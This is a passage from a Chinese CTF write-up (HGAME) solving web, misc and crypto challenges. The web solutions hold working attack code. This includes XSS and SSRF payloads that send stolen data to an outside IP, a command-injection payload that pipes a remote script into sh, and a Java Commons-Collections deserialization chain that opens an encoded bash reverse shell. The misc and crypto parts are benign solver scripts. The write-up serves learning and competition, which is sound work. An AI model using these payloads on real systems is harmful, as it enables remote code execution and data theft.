Web

魔理沙的魔法目录

要求读1个小时以上的书
三个路由/login、/record、/check
直接伪造时长就秒了
alt text
alt text
alt text
hgame{YOU-AR3_AIso-A_m4H0u_T5UKa1-N0W!6beb4}

Vidarshop

这题想象程度有点大
发现uid可以伪造,但其实我们注册1dmin/1就等于拿到了admin权限
update假设存在原型链污染,即使用了类似javascript的merge函数
payload

json
{
"__init__": {
"__globals__": {
"balance": 99999999
}
}
}

alt text
alt text
hgame{Re41@dmIn-Mu5Tb3R1ch4a22f04af8}

博丽神社的绘马挂

XSS注入读取管理员的绘马,里面有flag。
注意一下Sec-Fetch-Dest check。参考一下网址里查找的方法,把请求写成javascript。请求头会有Sec-Fetch-Dest: Javascript
关键字过滤用html注释绕过。
出网就不写回到博客了。

js
function exp(data) {
fetch('http://8.155.17.250:9999?a='+encodeURIComponent(data));
}
function doSearch() {
const query = '{';
const script = document.createElement('script');
const cbName = 'cb_' + Math.random().toString(36).substr(2);
window[cbName] = (data) => {
exp(JSON.stringify(data));
delete window[cbName];
document.body.removeChild(script);
};
script.onerror = () => {
delete window[cbName];
}
script.src = `${API_BASE}/search?q=${encodeURIComponent(query)}&callback=${cbName}`;
document.body.appendChild(script);
}
doSearch();
json
{"content":"<img src=\"x\" onerror=\"&#102&#117&#110&#99&#116&#105&#111&#110&#32&#101&#120&#112&#40&#100&#97&#116&#97&#41&#32&#123&#10&#32&#32&#32&#32&#102&#101&#116&#99&#104&#40&#39&#104&#116&#116&#112&#58&#47&#47&#56&#46&#49&#53&#53&#46&#49&#55&#46&#50&#53&#48&#58&#57&#57&#57&#57&#63&#97&#61&#39&#43&#101&#110&#99&#111&#100&#101&#85&#82&#73&#67&#111&#109&#112&#111&#110&#101&#110&#116&#40&#100&#97&#116&#97&#41&#41&#59&#10&#125&#10&#102&#117&#110&#99&#116&#105&#111&#110&#32&#100&#111&#83&#101&#97&#114&#99&#104&#40&#41&#32&#123&#10&#9&#99&#111&#110&#115&#116&#32&#113&#117&#101&#114&#121&#32&#61&#32&#39&#123&#39&#59&#10&#9&#99&#111&#110&#115&#116&#32&#115&#99&#114&#105&#112&#116&#32&#61&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#114&#101&#97&#116&#101&#69&#108&#101&#109&#101&#110&#116&#40&#39&#115&#99&#114&#105&#112&#116&#39&#41&#59&#10&#9&#99&#111&#110&#115&#116&#32&#99&#98&#78&#97&#109&#101&#32&#61&#32&#39&#99&#98&#95&#39&#32&#43&#32&#77&#97&#116&#104&#46&#114&#97&#110&#100&#111&#109&#40&#41&#46&#116&#111&#83&#116&#114&#105&#110&#103&#40&#51&#54&#41&#46&#115&#117&#98&#115&#116&#114&#40&#50&#41&#59&#10&#9&#119&#105&#110&#100&#111&#119&#91&#99&#98&#78&#97&#109&#101&#93&#32&#61&#32&#40&#100&#97&#116&#97&#41&#32&#61&#62&#32&#123&#10&#9&#9&#101&#120&#112&#40&#74&#83&#79&#78&#46&#115&#116&#114&#105&#110&#103&#105&#102&#121&#40&#100&#97&#116&#97&#41&#41&#59&#10&#9&#9&#100&#101&#108&#101&#116&#101&#32&#119&#105&#110&#100&#111&#119&#91&#99&#98&#78&#97&#109&#101&#93&#59&#10&#9&#9&#100&#111&#99&#117&#109&#101&#110&#116&#46&#98&#111&#100&#121&#46&#114&#101&#109&#111&#118&#101&#67&#104&#105&#108&#100&#40&#115&#99&#114&#105&#112&#116&#41&#59&#10&#9&#125&#59&#10&#9&#115&#99&#114&#105&#112&#116&#46&#111&#110&#101&#114&#114&#111&#114&#32&#61&#32&#40&#41&#32&#61&#62&#32&#123&#10&#9&#9&#100&#101&#108&#101&#116&#101&#32&#119&#105&#110&#100&#111&#119&#91&#99&#98&#78&#97&#109&#101&#93&#59&#10&#9&#125&#10&#9&#115&#99&#114&#105&#112&#116&#46&#115&#114&#99&#32&#61&#32&#96&#36&#123&#65&#80&#73&#95&#66&#65&#83&#69&#125&#47&#115&#101&#97&#114&#99&#104&#63&#113&#61&#36&#123&#101&#110&#99&#111&#100&#101&#85&#82&#73&#67&#111&#109&#112&#111&#110&#101&#110&#116&#40&#113&#117&#101&#114&#121&#41&#125&#38&#99&#97&#108&#108&#98&#97&#99&#107&#61&#36&#123&#99&#98&#78&#97&#109&#101&#125&#96&#59&#10&#9&#100&#111&#99&#117&#109&#101&#110&#116&#46&#98&#111&#100&#121&#46&#97&#112&#112&#101&#110&#100&#67&#104&#105&#108&#100&#40&#115&#99&#114&#105&#112&#116&#41&#59&#10&#125&#10&#100&#111&#83&#101&#97&#114&#99&#104&#40&#41&#59\" />","is_private":false}

叫灵梦来触发xss。

alt text
Hgame{th3-sECREt_OF_HakuREi-JlNj@2c159812}

MyMonitor

考了当go的syncPool池中一旦没有reset的后果,一股uaf味。
exp示例:
attack.go

go
package main

import (
"encoding/json"
"fmt"
"sync"
)

type MonitorStruct struct {
Cmd string `json:"cmd" binding:"required"`
Args string `json:"args"`
}

var MonitorPool = &sync.Pool{
New: func() any {
return &MonitorStruct{}
},
}

func (m *MonitorStruct) reset() {
m.Cmd = ""
m.Args = ""
fmt.Printf("[System] reset() 地址: %p\n", m)
}

// 模拟 Gin 的 Context 和 ShouldBindJSON
func mockShouldBindJSON(payload []byte, obj any) error {
// Gin 底层逻辑:
// 1. 读取 Body
// 2. 使用 json.Unmarshal 或 Decoder 填充
// 3. 调用 Validator
return json.Unmarshal(payload, obj)
}

func UserCmd(payload []byte) {
fmt.Println("\n--- 进入 UserCmd ---")
monitor := MonitorPool.Get().(*MonitorStruct)

// 对应代码的第一行 defer
defer func() {
fmt.Printf("[User] Put 回池子 - 地址: %p, 内容: %+v\n", monitor, monitor)
MonitorPool.Put(monitor)
}()

// 使用模拟的 ShouldBindJSON
if err := mockShouldBindJSON(payload, monitor); err != nil {
fmt.Printf("[User] ShouldBindJSON 报错: %v\n", err)
fmt.Printf("[User] 此时 monitor 打印 (投毒目标): %+v\n", monitor)
return // 漏洞点:直接触发 Put,跳过 reset
}

defer monitor.reset()
// ... 后面逻辑略
}

func AdminCmd(payload []byte) {
fmt.Println("\n--- 进入 AdminCmd ---")
monitor := MonitorPool.Get().(*MonitorStruct)

defer func() {
fmt.Printf("[Admin] Put 回池子 - 地址: %p\n", monitor)
MonitorPool.Put(monitor)
}()

if err := mockShouldBindJSON(payload, monitor); err != nil {
fmt.Println("[Admin] 400 Error")
return
}

fmt.Printf("[Admin] 当前 monitor 内容 (脏数据 + Admin输入): %+v\n", monitor)
defer monitor.reset()

fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
fmt.Printf("[Admin] 核心执行: bash -c %q\n", fullCommand)
}

func main() {
// 投毒 Payload:
// 在 json.Unmarshal 中,如果遇到语法错误(如末尾乱码),
// 如果是简单的 Unmarshal,它可能会直接报错而不给任何字段赋值。
// 但如果是类型错误,它会完成部分赋值。

// 投毒:args 为字符串,cmd 故意给一个整数导致类型不匹配
poisonPayload := []byte(`{"args": "; whoami", "cmd": 123}`)
UserCmd(poisonPayload)

// 触发:Admin 只给 cmd
triggerPayload := []byte(`{"cmd": "ls"}`)
AdminCmd(triggerPayload)
}

payload

json
{"args": "; curl 8.155.17.250/m.sh | sh", "cmd": 123}

alt text
alt text
hgame{R3mem63R_TO_CIe@R-th3_BuffER_bEFoR3-yoU_WanT-to-Use!!!0}

My Little Assistant

打一个本地的xss ssrf,访问8001端口的mcp拿到flag

在自己的vps上创建一个xss.html

html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>

function exp(data) {
fetch('http://8.155.17.250:9999?a='+encodeURIComponent(data));
}

var req2 = new XMLHttpRequest();
req2.open("POST", "http://127.0.0.1:8001/mcp", true);
req2.setRequestHeader("Content-type", "application/json");
req2.send(JSON.stringify({
params: {
name: "py_eval",
arguments: {
code: "a=__import__('os').popen('cat /flag').read()"
}
}
}));
req2.onload = function () {
var result = this.responseText;
exp(result);
};
</script>
</body>
</html>
http
POST /execute_tool HTTP/1.1
Host: 1.116.118.188:31259
Content-Length: 72
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://1.116.118.188:31259
Referer: http://1.116.118.188:31259
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"name":"py_request","arguments":{"url":"http://8.155.17.250/xss.html"}}

alt text
alt text
hgame{AlMCp-DrlVEN-X55-atT4ck-CH4in15c0d12}

ezCC

部分clss反编译代码

java
public class BlacklistObjectInputStream extends ObjectInputStream {
public BlacklistObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (className.equals("org.apache.commons.collections.functors.InvokerTransformer")) {
throw new InvalidClassException("Forbidden class", className);
} else {
return super.resolveClass(desc);
}
}
}

CC链直接规定了InvokerTransformer禁用。但是CC3链可以调用动态类加载。所以肯定就用CC3了。
参考链接:
https://www.cnblogs.com/0x3e-time/p/16880161.html#绕过invokertransfromer

shell.java

java
package Hgame.ezCC;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Shell extends AbstractTranslet {

public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
// public static void main(String args[]) {
// }
static {
Runtime runtime = Runtime.getRuntime();
try {
//runtime.exec("calc");
runtime.exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS4xNy4yNTAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

main.java

java
package Hgame.ezCC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;



import java.io.*;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// C:\\Users\\12506\\IdeaProjects\\ezcc\\target\\classes\\Hgame\\ezCC\\Shell.class
public class Main {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\12506\\IdeaProjects\\ezcc\\target\\classes\\Hgame\\ezCC\\Shell.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("ser.bin");
}

}

base64编码ser.bin后赋值cookie的userInfo。
alt text
hgame{e2CC_1s_RE@llY_6@Sic-l5N't-IT?567c0}

Misc

打好基础

全是base加密。

先base100
https://wnkit.com/tool/base100-encoder-decoder

然后用随波逐流工具解

Base混合多重解码:
[解码8次] Base92 -> Base91 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32
混合解码结果:hgame{L4y_a_sO11d_f0unDaTi0n}

shiori不想找女友

https://exif.tuchong.com/
用这个先看看exif信息,有:
{“block”: 1, “start_x”: 10, “start_y”: 10, “step_x”: 7, “step_y”: 7, “column_num”: 450}
明显是提取点块。写脚本拿到灰度表:

py
from PIL import Image


def extract_grayscale_matrix(image_path, out_file="grayscale_matrix.txt"):
# 参数
start_x, start_y = 10, 10
step_x, step_y = 7, 7
col_num = 450

img = Image.open(image_path).convert("L") # 确保是灰度模式
width, height = img.size

results = []
curr_y = start_y

while curr_y < height:
row_values = []
for c in range(col_num):
curr_x = start_x + (c * step_x)
if curr_x >= width:
break

pixel = img.getpixel((curr_x, curr_y))
row_values.append(str(pixel)) # 记录 0-255 的原始灰度

results.append(" ".join(row_values))
curr_y += step_y

with open(out_file, "w") as f:
f.write("\n".join(results))

print(f"灰度矩阵提取完成,共 {len(results)} 行。")
return results


extract_grayscale_matrix("shiori.png")

根据图片的点数据,只保留159行,最后一行只保留前六个255数据

py
"""
convert_gray.py

Usage:
python convert_gray.py # 自动尝试合理的宽高并保存候选图片
python convert_gray.py --width 150 # 指定宽度(像素)来重构图片

生成的文件会保存到当前目录,文件名格式: gray_{width}x{height}.png
"""

import argparse
import importlib.util
import math
from pathlib import Path

try:
import numpy as np
from PIL import Image, ImageOps
except Exception as e:
raise SystemExit("请先安装依赖: pip install numpy pillow") from e

THIS_DIR = Path(__file__).resolve().parent


def load_data():
data_file = THIS_DIR / "grayscale_matrix.txt"
with open(data_file, "r") as f:
content = f.read()
flat = [int(x) for x in content.split()]
return flat


def divisors(n):
d = []
for i in range(1, int(math.sqrt(n)) + 1):
if n % i == 0:
d.append((i, n // i))
return d


def filter_shapes(shapes):
# 过滤出看起来合理的形状(最小边 >= 10,且长宽比在 0.2 - 5 之间)
out = []
for w, h in shapes:
if w < 10 or h < 10:
continue
ar = w / h
if 0.2 <= ar <= 5:
out.append((w, h))
return out


def save_image_from_flat(flat, width, height, out_path, autocontrast=True):
arr = np.asarray(flat, dtype=np.uint8)
if arr.size != width * height:
raise ValueError("数据大小与指定宽高不匹配")
img = Image.fromarray(arr.reshape((height, width)))
if autocontrast:
img = ImageOps.autocontrast(img)
img.save(out_path)


def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"--width", type=int, help="指定宽度(像素),程序会计算高度并生成图片"
)
parser.add_argument(
"--max-candidates", type=int, default=6, help="最多生成候选图片数量"
)
args = parser.parse_args()

flat = load_data()
n = len(flat)
print(f"已加载灰度数据,共 {n} 像素")

if args.width:
w = args.width
if n % w != 0:
raise SystemExit(f"指定宽度 {w} 不整除长度 {n}")
h = n // w
out = THIS_DIR / f"gray_{w}x{h}.png"
save_image_from_flat(flat, w, h, out)
print(f"已保存: {out}")
return

cand = divisors(n)
cand = cand + [(h, w) for w, h in cand] # 试两种方向
# 去重
cand = list({(w, h) for w, h in cand})
cand = filter_shapes(cand)
# 按接近正方形排序(越接近平方越优先)
cand.sort(key=lambda wh: abs(wh[0] - wh[1]))

if not cand:
raise SystemExit("找不到合理的候选宽高,请手动指定 --width")

out_files = []
for i, (w, h) in enumerate(cand[: args.max_candidates]):
out = THIS_DIR / f"gray_{w}x{h}.png"
save_image_from_flat(flat, w, h, out)
out_files.append(out)
print(f"生成候选{i+1}: {out} ({w}x{h})")

print("完成。请查看生成的图片并选择正确的尺寸,或使用 --width 参数指定宽度。")


if __name__ == "__main__":
main()
bash
python convert_gray.py --width 450

alt text
用This_is_a_key_for_u解开压缩包,stegsolve反色拿到flag
alt text
hgame{bec0use_lilies_are_7he_b1st}

Crypto

Classic

源码

py
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
leak = p >> 230
m = bytes_to_long(flag)
c = pow(m,e,n)
print("n=",n)
print("leak=",leak)
print("c=",c)
'''
n= 103581608824736882681702548494306557458428217716535853516637603198588994047254920265300207713666564839896694140347335581147943392868972670366375164657970346843271269181099927135708348654216625303445930822821038674590817017773788412711991032701431127674068750986033616138121464799190131518444610260228947206957
leak= 6614588561261434084424582030267010885893931492438594708489233399180372535747474192128
c= 38164947954316044802514640871285562707869793354907165622336840432488893861610651450862702262363481097538127040490478908756416851240578677195459996252755566510786486707340107057971217557295217072867673485369358370289506549932119879791474279677563080377456592139035501163534305008864900509896586230830001710243
'''

铜匠coppersmith先利用高位p求出p,在解RSA

py
from Crypto.Util.number import long_to_bytes

n = 103581608824736882681702548494306557458428217716535853516637603198588994047254920265300207713666564839896694140347335581147943392868972670366375164657970346843271269181099927135708348654216625303445930822821038674590817017773788412711991032701431127674068750986033616138121464799190131518444610260228947206957
leak = 6614588561261434084424582030267010885893931492438594708489233399180372535747474192128
c = 38164947954316044802514640871285562707869793354907165622336840432488893861610651450862702262363481097538127040490478908756416851240578677195459996252755566510786486707340107057971217557295217072867673485369358370289506549932119879791474279677563080377456592139035501163534305008864900509896586230830001710243
e = 65537

# 1. 恢复高位
p_high = leak << 230

# 2. 定义多项式环
PR.<x> = PolynomialRing(Zmod(n))
f = x + p_high

# 3. 使用 small_roots
# X 是未知部分的上限 (2^230)
# beta=0.5 表示我们要找的是 n^0.5 (即 p) 的因子
# epsilon 取 0.05 左右通常能平衡速度和成功率
roots = f.small_roots(X=2^230, beta=0.5, epsilon=0.03)

if roots:
p_real = int(roots[0]) + p_high
print(f"[+] Found p: {p_real}")

# 4. 解密
q_real = n // p_real
phi = (p_real - 1) * (q_real - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(f"[+] Flag: {long_to_bytes(m).decode()}")
else:
print("[-] Failed to find roots. Try decreasing epsilon.")

用Vigenere,key=hgame解给出的txt就拿到flag了
或者用 https://www.guballa.de/vigenere-solver这个网站直接爆破key解flag,不用解RSA了

babyRSA

源码

py
from Crypto.Util.number import *
from gmpy2 import *
from random import *
import string
k = randint(30, 40)
str = string.digits + string.ascii_letters + "_@"
flag = b"VIDAR{" + "".join([choice(str) for i in range(k)]).encode() + b"}"
p = getPrime(120)
q = getPrime(120)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f'c = {c}')
print(f'p = {p}')
print(f'q = {q}')

'''
c = 451420045234442273941376910979916645887835448913611695130061067762180161
p = 722243413239346736518453990676052563
q = 777452004761824304315754169245494387
'''

n太小,导致RSA求解的数据变为 c % n 。
因为已知c前缀 “Vidar{” 和后缀 “}” ,可构建一个lll格约束爆破寻找flag。

py
import string
from Crypto.Util.number import bytes_to_long, long_to_bytes

# --- 题目已知参数 ---
n = 561509589548952837794833119936157205406719989627590253859106386533463881
m1 = 234407734412229069119401005232515328782096563284646158217272332850031856
prefix_str = b"VIDAR{"
prefix = bytes_to_long(prefix_str)
suffix = ord('}')
charset = (string.digits + string.ascii_letters + "_@").encode()

def solve_flag():
# 按照题目 randint(30, 40)
for k in range(30, 41):
print(f"\n[+] Testing length k = {k}...")

# 1. 建立基础偏移
# Flag = prefix << (8k + 8) + unknown << 8 + suffix
# unknown = sum(y_i * 256^(k-1-i))

target = (m1 - suffix - (prefix << (8*k + 8))) % n
# A 是 unknown 整体相对于 n 的系数,这里是 2^8
A_total = pow(2, 8, n)

# 计算每一位字符 y_i 对应的权重 coeffs_i
# y = y_0*256^(k-1) + y_1*256^(k-2) + ... + y_{k-1}*256^0
coeffs = [(A_total * pow(256, k - 1 - i, n)) % n for i in range(k)]

# 2. 尝试不同的中心点(因为字符集分布并不均匀)
# 典型的 ASCII 集中在 48-122,中心点 85 附近
for center in range(60, 101, 2):
const_sum = sum(center * c for c in coeffs) % n
new_target = (target - const_sum) % n

# 3. 构造格 M
# 我们要寻找 delta_i 使得 sum(delta_i * coeffs_i) - X*n = new_target
W = 2^256 # 强化同余约束
dim = k
M = Matrix(ZZ, dim + 2, dim + 2)

for i in range(dim):
M[i, i] = 1
M[i, dim] = coeffs[i] * W

M[dim, dim] = n * W
M[dim + 1, dim] = new_target * W
M[dim + 1, dim + 1] = 1

# 4. LLL 约化
M_red = M.LLL()

for row in M_red:
if row[dim + 1] in [1, -1]:
s = -int(row[dim + 1])
deltas = [row[i] * s for i in range(dim)]
actual_y = [center + d for d in deltas]

# 验证并打分
try:
res = bytes([int(round(x)) for x in actual_y])
score = sum(1 for c in res if c in charset)

if score > k - 5: # 容错门槛
print(f" [Center {center}] Score: {score}/{k} | {res}")

if score == k:
print(f"\n{'-'*20}")
print(f"FOUND FLAG: {prefix_str.decode()}{res.decode()}}}")
print(f"{'-'*20}")
return
except:
continue

if __name__ == "__main__":
solve_flag()

VIDAR{Congr@tulations_you_re4lly_konw_RS4}